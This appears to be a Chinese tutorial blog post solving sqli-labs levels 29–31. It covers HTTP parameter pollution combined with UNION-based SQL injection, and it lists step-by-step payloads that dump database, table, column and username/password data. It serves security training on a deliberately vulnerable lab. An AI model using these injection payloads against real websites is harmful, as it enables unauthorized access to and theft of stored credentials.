当前位置: 首页 > article >正文

sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错——判断为单引号闭合

?id=2&id=1'--+正常回显——确定为单引号闭合

?id=2&id=1' order by 3--+——判断有三处回显

?id=2&id=' union select 1,2,3--+——判断出回显位置

?id=2&id=' union select 1,user(),database()--+——爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+—— 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显——判断为双引号闭合

?id=a&id=1"--+——正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+——判断有三处回显位

?id=a&id=" union select 1,2,3--+——找到回显位置

?id=a&id=" union select 1,2,database()--+——爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+——爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错——判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显——判断为双引号括号闭合:

?id=0&id=2") order by 3--+——判断有三处回显

?id=0&id=") union select 1,2,3--+——找到回显位置

?id=0&id=") union select 1,2,database()--+——爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+——爆数据



http://www.lryc.cn/news/2383342.html

相关文章:

  • 独占内存访问指令LDXR/STXR
  • JVM 垃圾回收机制深度解析(含图解)
  • 如何利用 Conda 安装 Pytorch 教程 ?
  • 【ffmpeg】SPS与PPS的概念
  • uniapp vue 开发微信小程序 分包梳理经验总结
  • 什么是VR展示?VR展示的用途
  • .NET外挂系列:4. harmony 中补丁参数的有趣玩法(上)
  • Go语言中new与make的深度解析
  • 3、ubantu系统 | 通过vscode远程安装并配置anaconda
  • 【Unity】 HTFramework框架(六十五)ScrollList滚动数据列表
  • 深度学习之用CelebA_Spoof数据集搭建一个活体检测-用MNN来推理时候如何利用Conan对软件包进行管理
  • React 常见的陷阱之(如异步访问事件对象)
  • Swagger在java的运用
  • 代码随想录算法训练营 Day49 图论Ⅰ 深度优先与广度优先
  • .NET外挂系列:1. harmony 基本原理和骨架分析
  • HarmonyOS NEXT端云一体化工程目录结构
  • Ajax研究
  • 学习 Android(十)Fragment的生命周期
  • flutter 常用组件详细介绍、屏幕适配方案
  • Elasticsearch生产环境性能调优指南
  • 野火鲁班猫(arrch64架构debian)从零实现用MobileFaceNet算法进行实时人脸识别(一)conda环境搭建
  • RT Thread FinSH(msh)调度逻辑
  • Kotlin 极简小抄 P9 - 数组(数组的创建、数组元素的访问与修改、数组遍历、数组操作、多维数组、数组与可变参数)
  • CSS display有几种属性值
  • 【后端】【UV】【Django】 `uv` 管理的项目中搭建一个 Django 项目
  • 单片机设计_四轴飞行器(STM32)
  • kafka配置SASL_PLAINTEXT简单认证
  • PostgreSQL简单使用
  • 【Spring Boot】配置实战指南:Properties与YML的深度对比与最佳实践
  • 算法优选系列(9.BFS 解决拓扑排序)